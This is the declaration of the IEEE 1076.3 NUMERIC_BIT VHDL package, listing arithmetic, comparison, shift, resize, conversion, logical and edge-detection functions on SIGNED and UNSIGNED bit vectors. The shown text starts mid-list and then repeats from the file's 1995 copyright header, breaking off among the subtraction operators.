-- Result subtype: SIGNED(MAX(L'LENGTH, R'LENGTH)-1 downto 0).
-- Result: Subtracts a SIGNED vector, R, from another SIGNED vector, L,
-- that may possibly be of different lengths.
-- Id: A.11
function "-" (L: UNSIGNED; R: NATURAL) return UNSIGNED;
-- Result subtype: UNSIGNED(L'LENGTH-1 downto 0).
-- Result: Subtracts a non-negative INTEGER, R, from an UNSIGNED vector, L.
-- Id: A.12
function "-" (L: NATURAL; R: UNSIGNED) return UNSIGNED;
-- Result subtype: UNSIGNED(R'LENGTH-1 downto 0).
-- Result: Subtracts an UNSIGNED vector, R, from a non-negative INTEGER, L.
-- Id: A.13
function "-" (L: SIGNED; R: INTEGER) return SIGNED;
-- Result subtype: SIGNED(L'LENGTH-1 downto 0).
-- Result: Subtracts an INTEGER, R, from a SIGNED vector, L.
-- Id: A.14
function "-" (L: INTEGER; R: SIGNED) return SIGNED;
-- Result subtype: SIGNED(R'LENGTH-1 downto 0).
-- Result: Subtracts a SIGNED vector, R, from an INTEGER, L.
--============================================================================
-- Id: A.15
function "*" (L, R: UNSIGNED) return UNSIGNED;
-- Result subtype: UNSIGNED((L'LENGTH+R'LENGTH-1) downto 0).
-- Result: Performs the multiplication operation on two UNSIGNED vectors
-- that may possibly be of different lengths.
-- Id: A.16
function "*" (L, R: SIGNED) return SIGNED;
-- Result subtype: SIGNED((L'LENGTH+R'LENGTH-1) downto 0)
-- Result: Multiplies two SIGNED vectors that may possibly be of
-- different lengths.
-- Id: A.17
function "*" (L: UNSIGNED; R: NATURAL) return UNSIGNED;
-- Result subtype: UNSIGNED((L'LENGTH+L'LENGTH-1) downto 0).
-- Result: Multiplies an UNSIGNED vector, L, with a non-negative
-- INTEGER, R. R is converted to an UNSIGNED vector of
-- size L'LENGTH before multiplication.
-- Id: A.18
function "*" (L: NATURAL; R: UNSIGNED) return UNSIGNED;
-- Result subtype: UNSIGNED((R'LENGTH+R'LENGTH-1) downto 0).
-- Result: Multiplies an UNSIGNED vector, R, with a non-negative
-- INTEGER, L. L is converted to an UNSIGNED vector of
-- size R'LENGTH before multiplication.
-- Id: A.19
function "*" (L: SIGNED; R: INTEGER) return SIGNED;
-- Result subtype: SIGNED((L'LENGTH+L'LENGTH-1) downto 0)
-- Result: Multiplies a SIGNED vector, L, with an INTEGER, R. R is
-- converted to a SIGNED vector of size L'LENGTH before
-- multiplication.
-- Id: A.20
function "*" (L: INTEGER; R: SIGNED) return SIGNED;
-- Result subtype: SIGNED((R'LENGTH+R'LENGTH-1) downto 0)
-- Result: Multiplies a SIGNED vector, R, with an INTEGER, L. L is
-- converted to a SIGNED vector of size R'LENGTH before
-- multiplication.
--============================================================================
--
-- NOTE: If second argument is zero for "/" operator, a severity level
-- of ERROR is issued.
-- Id: A.21
function "/" (L, R: UNSIGNED) return UNSIGNED;
-- Result subtype: UNSIGNED(L'LENGTH-1 downto 0)
-- Result: Divides an UNSIGNED vector, L, by another UNSIGNED vector, R.
-- Id: A.22
function "/" (L, R: SIGNED) return SIGNED;
-- Result subtype: SIGNED(L'LENGTH-1 downto 0)
-- Result: Divides an SIGNED vector, L, by another SIGNED vector, R.
-- Id: A.23
function "/" (L: UNSIGNED; R: NATURAL) return UNSIGNED;
-- Result subtype: UNSIGNED(L'LENGTH-1 downto 0)
-- Result: Divides an UNSIGNED vector, L, by a non-negative INTEGER, R.
-- If NO_OF_BITS(R) > L'LENGTH, result is truncated to L'LENGTH.
-- Id: A.24
function "/" (L: NATURAL; R: UNSIGNED) return UNSIGNED;
-- Result subtype: UNSIGNED(R'LENGTH-1 downto 0)
-- Result: Divides a non-negative INTEGER, L, by an UNSIGNED vector, R.
-- If NO_OF_BITS(L) > R'LENGTH, result is truncated to R'LENGTH.
-- Id: A.25
function "/" (L: SIGNED; R: INTEGER) return SIGNED;
-- Result subtype: SIGNED(L'LENGTH-1 downto 0)
-- Result: Divides a SIGNED vector, L, by an INTEGER, R.
-- If NO_OF_BITS(R) > L'LENGTH, result is truncated to L'LENGTH.
-- Id: A.26
function "/" (L: INTEGER; R: SIGNED) return SIGNED;
-- Result subtype: SIGNED(R'LENGTH-1 downto 0)
-- Result: Divides an INTEGER, L, by a SIGNED vector, R.
-- If NO_OF_BITS(L) > R'LENGTH, result is truncated to R'LENGTH.
--============================================================================
--
-- NOTE: If second argument is zero for "rem" operator, a severity level
-- of ERROR is issued.
-- Id: A.27
function "rem" (L, R: UNSIGNED) return UNSIGNED;
-- Result subtype: UNSIGNED(R'LENGTH-1 downto 0)
-- Result: Computes "L rem R" where L and R are UNSIGNED vectors.
-- Id: A.28
function "rem" (L, R: SIGNED) return SIGNED;
-- Result subtype: SIGNED(R'LENGTH-1 downto 0)
-- Result: Computes "L rem R" where L and R are SIGNED vectors.
-- Id: A.29
function "rem" (L: UNSIGNED; R: NATURAL) return UNSIGNED;
-- Result subtype: UNSIGNED(L'LENGTH-1 downto 0)
-- Result: Computes "L rem R" where L is an UNSIGNED vector and R is a
-- non-negative INTEGER.
-- If NO_OF_BITS(R) > L'LENGTH, result is truncated to L'LENGTH.
-- Id: A.30
function "rem" (L: NATURAL; R: UNSIGNED) return UNSIGNED;
-- Result subtype: UNSIGNED(R'LENGTH-1 downto 0)
-- Result: Computes "L rem R" where R is an UNSIGNED vector and L is a
-- non-negative INTEGER.
-- If NO_OF_BITS(L) > R'LENGTH, result is truncated to R'LENGTH.
-- Id: A.31
function "rem" (L: SIGNED; R: INTEGER) return SIGNED;
-- Result subtype: SIGNED(L'LENGTH-1 downto 0)
-- Result: Computes "L rem R" where L is SIGNED vector and R is an INTEGER.
-- If NO_OF_BITS(R) > L'LENGTH, result is truncated to L'LENGTH.
-- Id: A.32
function "rem" (L: INTEGER; R: SIGNED) return SIGNED;
-- Result subtype: SIGNED(R'LENGTH-1 downto 0)
-- Result: Computes "L rem R" where R is SIGNED vector and L is an INTEGER.
-- If NO_OF_BITS(L) > R'LENGTH, result is truncated to R'LENGTH.
--============================================================================
--
-- NOTE: If second argument is zero for "mod" operator, a severity level
-- of ERROR is issued.
-- Id: A.33
function "mod" (L, R: UNSIGNED) return UNSIGNED;
-- Result subtype: UNSIGNED(R'LENGTH-1 downto 0)
-- Result: Computes "L mod R" where L and R are UNSIGNED vectors.
-- Id: A.34
function "mod" (L, R: SIGNED) return SIGNED;
-- Result subtype: SIGNED(R'LENGTH-1 downto 0)
-- Result: Computes "L mod R" where L and R are SIGNED vectors.
-- Id: A.35
function "mod" (L: UNSIGNED; R: NATURAL) return UNSIGNED;
-- Result subtype: UNSIGNED(L'LENGTH-1 downto 0)
-- Result: Computes "L mod R" where L is an UNSIGNED vector and R
-- is a non-negative INTEGER.
-- If NO_OF_BITS(R) > L'LENGTH, result is truncated to L'LENGTH.
-- Id: A.36
function "mod" (L: NATURAL; R: UNSIGNED) return UNSIGNED;
-- Result subtype: UNSIGNED(R'LENGTH-1 downto 0)
-- Result: Computes "L mod R" where R is an UNSIGNED vector and L
-- is a non-negative INTEGER.
-- If NO_OF_BITS(L) > R'LENGTH, result is truncated to R'LENGTH.
-- Id: A.37
function "mod" (L: SIGNED; R: INTEGER) return SIGNED;
-- Result subtype: SIGNED(L'LENGTH-1 downto 0)
-- Result: Computes "L mod R" where L is a SIGNED vector and
-- R is an INTEGER.
-- If NO_OF_BITS(R) > L'LENGTH, result is truncated to L'LENGTH.
-- Id: A.38
function "mod" (L: INTEGER; R: SIGNED) return SIGNED;
-- Result subtype: SIGNED(R'LENGTH-1 downto 0)
-- Result: Computes "L mod R" where L is an INTEGER and
-- R is a SIGNED vector.
-- If NO_OF_BITS(L) > R'LENGTH, result is truncated to R'LENGTH.
--============================================================================
-- Comparison Operators
--============================================================================
-- Id: C.1
function ">" (L, R: UNSIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L > R" where L and R are UNSIGNED vectors possibly
-- of different lengths.
-- Id: C.2
function ">" (L, R: SIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L > R" where L and R are SIGNED vectors possibly
-- of different lengths.
-- Id: C.3
function ">" (L: NATURAL; R: UNSIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L > R" where L is a non-negative INTEGER and
-- R is an UNSIGNED vector.
-- Id: C.4
function ">" (L: INTEGER; R: SIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L > R" where L is a INTEGER and
-- R is a SIGNED vector.
-- Id: C.5
function ">" (L: UNSIGNED; R: NATURAL) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L > R" where L is an UNSIGNED vector and
-- R is a non-negative INTEGER.
-- Id: C.6
function ">" (L: SIGNED; R: INTEGER) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L > R" where L is a SIGNED vector and
-- R is a INTEGER.
--============================================================================
-- Id: C.7
function "<" (L, R: UNSIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L < R" where L and R are UNSIGNED vectors possibly
-- of different lengths.
-- Id: C.8
function "<" (L, R: SIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L < R" where L and R are SIGNED vectors possibly
-- of different lengths.
-- Id: C.9
function "<" (L: NATURAL; R: UNSIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L < R" where L is a non-negative INTEGER and
-- R is an UNSIGNED vector.
-- Id: C.10
function "<" (L: INTEGER; R: SIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L < R" where L is an INTEGER and
-- R is a SIGNED vector.
-- Id: C.11
function "<" (L: UNSIGNED; R: NATURAL) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L < R" where L is an UNSIGNED vector and
-- R is a non-negative INTEGER.
-- Id: C.12
function "<" (L: SIGNED; R: INTEGER) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L < R" where L is a SIGNED vector and
-- R is an INTEGER.
--============================================================================
-- Id: C.13
function "<=" (L, R: UNSIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L <= R" where L and R are UNSIGNED vectors possibly
-- of different lengths.
-- Id: C.14
function "<=" (L, R: SIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L <= R" where L and R are SIGNED vectors possibly
-- of different lengths.
-- Id: C.15
function "<=" (L: NATURAL; R: UNSIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L <= R" where L is a non-negative INTEGER and
-- R is an UNSIGNED vector.
-- Id: C.16
function "<=" (L: INTEGER; R: SIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L <= R" where L is an INTEGER and
-- R is a SIGNED vector.
-- Id: C.17
function "<=" (L: UNSIGNED; R: NATURAL) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L <= R" where L is an UNSIGNED vector and
-- R is a non-negative INTEGER.
-- Id: C.18
function "<=" (L: SIGNED; R: INTEGER) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L <= R" where L is a SIGNED vector and
-- R is an INTEGER.
--============================================================================
-- Id: C.19
function ">=" (L, R: UNSIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L >= R" where L and R are UNSIGNED vectors possibly
-- of different lengths.
-- Id: C.20
function ">=" (L, R: SIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L >= R" where L and R are SIGNED vectors possibly
-- of different lengths.
-- Id: C.21
function ">=" (L: NATURAL; R: UNSIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L >= R" where L is a non-negative INTEGER and
-- R is an UNSIGNED vector.
-- Id: C.22
function ">=" (L: INTEGER; R: SIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L >= R" where L is an INTEGER and
-- R is a SIGNED vector.
-- Id: C.23
function ">=" (L: UNSIGNED; R: NATURAL) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L >= R" where L is an UNSIGNED vector and
-- R is a non-negative INTEGER.
-- Id: C.24
function ">=" (L: SIGNED; R: INTEGER) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L >= R" where L is a SIGNED vector and
-- R is an INTEGER.
--============================================================================
-- Id: C.25
function "=" (L, R: UNSIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L = R" where L and R are UNSIGNED vectors possibly
-- of different lengths.
-- Id: C.26
function "=" (L, R: SIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L = R" where L and R are SIGNED vectors possibly
-- of different lengths.
-- Id: C.27
function "=" (L: NATURAL; R: UNSIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L = R" where L is a non-negative INTEGER and
-- R is an UNSIGNED vector.
-- Id: C.28
function "=" (L: INTEGER; R: SIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L = R" where L is an INTEGER and
-- R is a SIGNED vector.
-- Id: C.29
function "=" (L: UNSIGNED; R: NATURAL) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L = R" where L is an UNSIGNED vector and
-- R is a non-negative INTEGER.
-- Id: C.30
function "=" (L: SIGNED; R: INTEGER) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L = R" where L is a SIGNED vector and
-- R is an INTEGER.
--============================================================================
-- Id: C.31
function "/=" (L, R: UNSIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L /= R" where L and R are UNSIGNED vectors possibly
-- of different lengths.
-- Id: C.32
function "/=" (L, R: SIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L /= R" where L and R are SIGNED vectors possibly
-- of different lengths.
-- Id: C.33
function "/=" (L: NATURAL; R: UNSIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L /= R" where L is a non-negative INTEGER and
-- R is an UNSIGNED vector.
-- Id: C.34
function "/=" (L: INTEGER; R: SIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L /= R" where L is an INTEGER and
-- R is a SIGNED vector.
-- Id: C.35
function "/=" (L: UNSIGNED; R: NATURAL) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L /= R" where L is an UNSIGNED vector and
-- R is a non-negative INTEGER.
-- Id: C.36
function "/=" (L: SIGNED; R: INTEGER) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L /= R" where L is a SIGNED vector and
-- R is an INTEGER.
--============================================================================
-- Shift and Rotate Functions
--============================================================================
-- Id: S.1
function SHIFT_LEFT (ARG: UNSIGNED; COUNT: NATURAL) return UNSIGNED;
-- Result subtype: UNSIGNED(ARG'LENGTH-1 downto 0)
-- Result: Performs a shift-left on an UNSIGNED vector COUNT times.
-- The vacated positions are filled with Bit '0'.
-- The COUNT leftmost bits are lost.
-- Id: S.2
function SHIFT_RIGHT (ARG: UNSIGNED; COUNT: NATURAL) return UNSIGNED;
-- Result subtype: UNSIGNED(ARG'LENGTH-1 downto 0)
-- Result: Performs a shift-right on an UNSIGNED vector COUNT times.
-- The vacated positions are filled with Bit '0'.
-- The COUNT rightmost bits are lost.
-- Id: S.3
function SHIFT_LEFT (ARG: SIGNED; COUNT: NATURAL) return SIGNED;
-- Result subtype: SIGNED(ARG'LENGTH-1 downto 0)
-- Result: Performs a shift-left on a SIGNED vector COUNT times.
-- The vacated positions are filled with Bit '0'.
-- The COUNT leftmost bits, except ARG'LEFT, are lost.
-- Id: S.4
function SHIFT_RIGHT (ARG: SIGNED; COUNT: NATURAL) return SIGNED;
-- Result subtype: SIGNED(ARG'LENGTH-1 downto 0)
-- Result: Performs a shift-right on a SIGNED vector COUNT times.
-- The vacated positions are filled with the leftmost bit, ARG'LEFT.
-- The COUNT rightmost bits are lost.
--============================================================================
-- Id: S.5
function ROTATE_LEFT (ARG: UNSIGNED; COUNT: NATURAL) return UNSIGNED;
-- Result subtype: UNSIGNED(ARG'LENGTH-1 downto 0)
-- Result: Performs a rotate-left of an UNSIGNED vector COUNT times.
-- Id: S.6
function ROTATE_RIGHT (ARG: UNSIGNED; COUNT: NATURAL) return UNSIGNED;
-- Result subtype: UNSIGNED(ARG'LENGTH-1 downto 0)
-- Result: Performs a rotate-right of an UNSIGNED vector COUNT times.
-- Id: S.7
function ROTATE_LEFT (ARG: SIGNED; COUNT: NATURAL) return SIGNED;
-- Result subtype: SIGNED(ARG'LENGTH-1 downto 0)
-- Result: Performs a logical rotate-left of a SIGNED vector COUNT times.
-- Id: S.8
function ROTATE_RIGHT (ARG: SIGNED; COUNT: NATURAL) return SIGNED;
-- Result subtype: SIGNED(ARG'LENGTH-1 downto 0)
-- Result: Performs a logical rotate-right of a SIGNED vector COUNT times.
--============================================================================
------------------------------------------------------------------------------
-- Note : Function S.9 is not compatible with VHDL 1076-1987. Comment
-- out the function (declaration and body) for VHDL 1076-1987 compatibility.
------------------------------------------------------------------------------
-- Id: S.9
function "sll" (ARG: UNSIGNED; COUNT: INTEGER) return UNSIGNED; --V93
-- Result subtype: UNSIGNED(ARG'LENGTH-1 downto 0)
-- Result: SHIFT_LEFT(ARG, COUNT)
------------------------------------------------------------------------------
-- Note : Function S.10 is not compatible with VHDL 1076-1987. Comment
-- out the function (declaration and body) for VHDL 1076-1987 compatibility.
------------------------------------------------------------------------------
-- Id: S.10
function "sll" (ARG: SIGNED; COUNT: INTEGER) return SIGNED; --V93
-- Result subtype: SIGNED(ARG'LENGTH-1 downto 0)
-- Result: SHIFT_LEFT(ARG, COUNT)
------------------------------------------------------------------------------
-- Note : Function S.11 is not compatible with VHDL 1076-1987. Comment
-- out the function (declaration and body) for VHDL 1076-1987 compatibility.
------------------------------------------------------------------------------
-- Id: S.11
function "srl" (ARG: UNSIGNED; COUNT: INTEGER) return UNSIGNED; --V93
-- Result subtype: UNSIGNED(ARG'LENGTH-1 downto 0)
-- Result: SHIFT_RIGHT(ARG, COUNT)
------------------------------------------------------------------------------
-- Note : Function S.12 is not compatible with VHDL 1076-1987. Comment
-- out the function (declaration and body) for VHDL 1076-1987 compatibility.
------------------------------------------------------------------------------
-- Id: S.12
function "srl" (ARG: SIGNED; COUNT: INTEGER) return SIGNED; --V93
-- Result subtype: SIGNED(ARG'LENGTH-1 downto 0)
-- Result: SIGNED(SHIFT_RIGHT(UNSIGNED(ARG), COUNT))
------------------------------------------------------------------------------
-- Note : Function S.13 is not compatible with VHDL 1076-1987. Comment
-- out the function (declaration and body) for VHDL 1076-1987 compatibility.
------------------------------------------------------------------------------
-- Id: S.13
function "rol" (ARG: UNSIGNED; COUNT: INTEGER) return UNSIGNED; --V93
-- Result subtype: UNSIGNED(ARG'LENGTH-1 downto 0)
-- Result: ROTATE_LEFT(ARG, COUNT)
------------------------------------------------------------------------------
-- Note : Function S.14 is not compatible with VHDL 1076-1987. Comment
-- out the function (declaration and body) for VHDL 1076-1987 compatibility.
------------------------------------------------------------------------------
-- Id: S.14
function "rol" (ARG: SIGNED; COUNT: INTEGER) return SIGNED; --V93
-- Result subtype: SIGNED(ARG'LENGTH-1 downto 0)
-- Result: ROTATE_LEFT(ARG, COUNT)
------------------------------------------------------------------------------
-- Note : Function S.15 is not compatible with VHDL 1076-1987. Comment
-- out the function (declaration and body) for VHDL 1076-1987 compatibility.
------------------------------------------------------------------------------
-- Id: S.15
function "ror" (ARG: UNSIGNED; COUNT: INTEGER) return UNSIGNED; --V93
-- Result subtype: UNSIGNED(ARG'LENGTH-1 downto 0)
-- Result: ROTATE_RIGHT(ARG, COUNT)
------------------------------------------------------------------------------
-- Note : Function S.16 is not compatible with VHDL 1076-1987. Comment
-- out the function (declaration and body) for VHDL 1076-1987 compatibility.
------------------------------------------------------------------------------
-- Id: S.16
function "ror" (ARG: SIGNED; COUNT: INTEGER) return SIGNED; --V93
-- Result subtype: SIGNED(ARG'LENGTH-1 downto 0)
-- Result: ROTATE_RIGHT(ARG, COUNT)
--============================================================================
-- RESIZE Functions
--============================================================================
-- Id: R.1
function RESIZE (ARG: SIGNED; NEW_SIZE: NATURAL) return SIGNED;
-- Result subtype: SIGNED(NEW_SIZE-1 downto 0)
-- Result: Resizes the SIGNED vector ARG to the specified size.
-- To create a larger vector, the new [leftmost] bit positions
-- are filled with the sign bit (ARG'LEFT). When truncating,
-- the sign bit is retained along with the rightmost part.
-- Id: R.2
function RESIZE (ARG: UNSIGNED; NEW_SIZE: NATURAL) return UNSIGNED;
-- Result subtype: UNSIGNED(NEW_SIZE-1 downto 0)
-- Result: Resizes the UNSIGNED vector ARG to the specified size.
-- To create a larger vector, the new [leftmost] bit positions
-- are filled with '0'. When truncating, the leftmost bits
-- are dropped.
--============================================================================
-- Conversion Functions
--============================================================================
-- Id: D.1
function TO_INTEGER (ARG: UNSIGNED) return NATURAL;
-- Result subtype: NATURAL. Value cannot be negative since parameter is an
-- UNSIGNED vector.
-- Result: Converts the UNSIGNED vector to an INTEGER.
-- Id: D.2
function TO_INTEGER (ARG: SIGNED) return INTEGER;
-- Result subtype: INTEGER
-- Result: Converts a SIGNED vector to an INTEGER.
-- Id: D.3
function TO_UNSIGNED (ARG, SIZE: NATURAL) return UNSIGNED;
-- Result subtype: UNSIGNED(SIZE-1 downto 0)
-- Result: Converts a non-negative INTEGER to an UNSIGNED vector with
-- the specified size.
-- Id: D.4
function TO_SIGNED (ARG: INTEGER; SIZE: NATURAL) return SIGNED;
-- Result subtype: SIGNED(SIZE-1 downto 0)
-- Result: Converts an INTEGER to a SIGNED vector of the specified size.
--============================================================================
-- Logical Operators
--============================================================================
-- Id: L.1
function "not" (L: UNSIGNED) return UNSIGNED;
-- Result subtype: UNSIGNED(L'LENGTH-1 downto 0)
-- Result: Termwise inversion
-- Id: L.2
function "and" (L, R: UNSIGNED) return UNSIGNED;
-- Result subtype: UNSIGNED(L'LENGTH-1 downto 0)
-- Result: Vector AND operation
-- Id: L.3
function "or" (L, R: UNSIGNED) return UNSIGNED;
-- Result subtype: UNSIGNED(L'LENGTH-1 downto 0)
-- Result: Vector OR operation
-- Id: L.4
function "nand" (L, R: UNSIGNED) return UNSIGNED;
-- Result subtype: UNSIGNED(L'LENGTH-1 downto 0)
-- Result: Vector NAND operation
-- Id: L.5
function "nor" (L, R: UNSIGNED) return UNSIGNED;
-- Result subtype: UNSIGNED(L'LENGTH-1 downto 0)
-- Result: Vector NOR operation
-- Id: L.6
function "xor" (L, R: UNSIGNED) return UNSIGNED;
-- Result subtype: UNSIGNED(L'LENGTH-1 downto 0)
-- Result: Vector XOR operation
------------------------------------------------------------------------------
-- Note : Function L.7 is not compatible with VHDL 1076-1987. Comment
-- out the function (declaration and body) for VHDL 1076-1987 compatibility.
------------------------------------------------------------------------------
-- Id: L.7
function "xnor" (L, R: UNSIGNED) return UNSIGNED; --V93
-- Result subtype: UNSIGNED(L'LENGTH-1 downto 0)
-- Result: Vector XNOR operation
-- Id: L.8
function "not" (L: SIGNED) return SIGNED;
-- Result subtype: SIGNED(L'LENGTH-1 downto 0)
-- Result: Termwise inversion
-- Id: L.9
function "and" (L, R: SIGNED) return SIGNED;
-- Result subtype: SIGNED(L'LENGTH-1 downto 0)
-- Result: Vector AND operation
-- Id: L.10
function "or" (L, R: SIGNED) return SIGNED;
-- Result subtype: SIGNED(L'LENGTH-1 downto 0)
-- Result: Vector OR operation
-- Id: L.11
function "nand" (L, R: SIGNED) return SIGNED;
-- Result subtype: SIGNED(L'LENGTH-1 downto 0)
-- Result: Vector NAND operation
-- Id: L.12
function "nor" (L, R: SIGNED) return SIGNED;
-- Result subtype: SIGNED(L'LENGTH-1 downto 0)
-- Result: Vector NOR operation
-- Id: L.13
function "xor" (L, R: SIGNED) return SIGNED;
-- Result subtype: SIGNED(L'LENGTH-1 downto 0)
-- Result: Vector XOR operation
------------------------------------------------------------------------------
-- Note : Function L.14 is not compatible with VHDL 1076-1987. Comment
-- out the function (declaration and body) for VHDL 1076-1987 compatibility.
------------------------------------------------------------------------------
-- Id: L.14
function "xnor" (L, R: SIGNED) return SIGNED; --V93
-- Result subtype: SIGNED(L'LENGTH-1 downto 0)
-- Result: Vector XNOR operation
--============================================================================
-- Edge Detection Functions
--============================================================================
-- Id: E.1
function RISING_EDGE (signal S: BIT) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Returns TRUE if an event is detected on signal S and the
-- value changed from a '0' to a '1'.
-- Id: E.2
function FALLING_EDGE (signal S: BIT) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Returns TRUE if an event is detected on signal S and the
-- value changed from a '1' to a '0'.
end NUMERIC_BIT;
|
-- -----------------------------------------------------------------------------
--
-- Copyright 1995 by IEEE. All rights reserved.
--
-- This source file is considered by the IEEE to be an essential part of the use
-- of the standard 1076.3 and as such may be distributed without change, except
-- as permitted by the standard. This source file may not be sold or distributed
-- for profit. This package may be modified to include additional data required
-- by tools, but must in no way change the external interfaces or simulation
-- behaviour of the description. It is permissible to add comments and/or
-- attributes to the package declarations, but not to change or delete any
-- original lines of the approved package declaration. The package body may be
-- changed only in accordance with the terms of clauses 7.1 and 7.2 of the
-- standard.
--
-- Title : Standard VHDL Synthesis Package (1076.3, NUMERIC_BIT)
--
-- Library : This package shall be compiled into a library symbolically
-- : named IEEE.
--
-- Developers : IEEE DASC Synthesis Working Group, PAR 1076.3
--
-- Purpose : This package defines numeric types and arithmetic functions
-- : for use with synthesis tools. Two numeric types are defined:
-- : -- > UNSIGNED: represents an UNSIGNED number in vector form
-- : -- > SIGNED: represents a SIGNED number in vector form
-- : The base element type is type BIT.
-- : The leftmost bit is treated as the most significant bit.
-- : Signed vectors are represented in two's complement form.
-- : This package contains overloaded arithmetic operators on
-- : the SIGNED and UNSIGNED types. The package also contains
-- : useful type conversions functions, clock detection
-- : functions, and other utility functions.
-- :
-- : If any argument to a function is a null array, a null array is
-- : returned (exceptions, if any, are noted individually).
--
-- Limitation :
--
-- Note : No declarations or definitions shall be included in,
-- : or excluded from this package. The "package declaration"
-- : defines the types, subtypes and declarations of
-- : NUMERIC_BIT. The NUMERIC_BIT package body shall be
-- : considered the formal definition of the semantics of
-- : this package. Tool developers may choose to implement
-- : the package body in the most efficient manner available
-- : to them.
-- :
-- -----------------------------------------------------------------------------
-- Version : 2.4
-- Date : 12 April 1995
-- -----------------------------------------------------------------------------
package NUMERIC_BIT is
constant CopyRightNotice: STRING
:= "Copyright 1995 IEEE. All rights reserved.";
--============================================================================
-- Numeric array type definitions
--============================================================================
type UNSIGNED is array (NATURAL range <> ) of BIT;
type SIGNED is array (NATURAL range <> ) of BIT;
--============================================================================
-- Arithmetic Operators:
--============================================================================
-- Id: A.1
function "abs" (ARG: SIGNED) return SIGNED;
-- Result subtype: SIGNED(ARG'LENGTH-1 downto 0).
-- Result: Returns the absolute value of a SIGNED vector ARG.
-- Id: A.2
function "-" (ARG: SIGNED) return SIGNED;
-- Result subtype: SIGNED(ARG'LENGTH-1 downto 0).
-- Result: Returns the value of the unary minus operation on a
-- SIGNED vector ARG.
--============================================================================
-- Id: A.3
function "+" (L, R: UNSIGNED) return UNSIGNED;
-- Result subtype: UNSIGNED(MAX(L'LENGTH, R'LENGTH)-1 downto 0).
-- Result: Adds two UNSIGNED vectors that may be of different lengths.
-- Id: A.4
function "+" (L, R: SIGNED) return SIGNED;
-- Result subtype: SIGNED(MAX(L'LENGTH, R'LENGTH)-1 downto 0).
-- Result: Adds two SIGNED vectors that may be of different lengths.
-- Id: A.5
function "+" (L: UNSIGNED; R: NATURAL) return UNSIGNED;
-- Result subtype: UNSIGNED(L'LENGTH-1 downto 0).
-- Result: Adds an UNSIGNED vector, L, with a non-negative INTEGER, R.
-- Id: A.6
function "+" (L: NATURAL; R: UNSIGNED) return UNSIGNED;
-- Result subtype: UNSIGNED(R'LENGTH-1 downto 0).
-- Result: Adds a non-negative INTEGER, L, with an UNSIGNED vector, R.
-- Id: A.7
function "+" (L: INTEGER; R: SIGNED) return SIGNED;
-- Result subtype: SIGNED(R'LENGTH-1 downto 0).
-- Result: Adds an INTEGER, L(may be positive or negative), to a SIGNED
-- vector, R.
-- Id: A.8
function "+" (L: SIGNED; R: INTEGER) return SIGNED;
-- Result subtype: SIGNED(L'LENGTH-1 downto 0).
-- Result: Adds a SIGNED vector, L, to an INTEGER, R.
--============================================================================
-- Id: A.9
function "-" (L, R: UNSIGNED) return UNSIGNED;
-- Result subtype: UNSIGNED(MAX(L'LENGTH, R'LENGTH)-1 downto 0).
-- Result: Subtracts two UNSIGNED vectors that may be of different lengths.
-- Id: A.10
function "-" (L, R: SIGNED) return SIGNED;
-- Result subtype: SIGNED(MAX(L'LENGTH, R'LENGTH)-1 downto 0).
-- Result: Subtracts a SIGNED vector, R, from another SIGNED vector, L,
-- that may possibly be of different lengths.
-- Id: A.11
function "-" (L: UNSIGNED; R: NATURAL) return UNSIGNED;
-- Result subtype: UNSIGNED(L'LENGTH-1 downto 0).
-- Result: Subtracts a non-negative INTEGER, R, from an UNSIGNED vector, L.
-- Id: A.12
function "-" (L: NATURAL; R: UNSIGNED) return UNSIGNED;
-- Result subtype: UNSIGNED(R'LENGTH-1 downto 0).
-- Result: Subtracts an UNSIGNED vector, R, from a non-negative INTEGER, L.
-- Id: A.13
function "-" (L: SIGNED; R: INTEGER) return SIGNED;
-- Result subtype: SIGNED(L'LENGTH-1 downto 0).
-- Result: Subtracts an INTEGER, R, from a SIGNED vector, L.
-- Id: A.14
function "-" (L: INTEGER; R: SIGNED) return SIGNED;
-- Result subtype: SIGNED(R'LENGTH-1 downto 0).
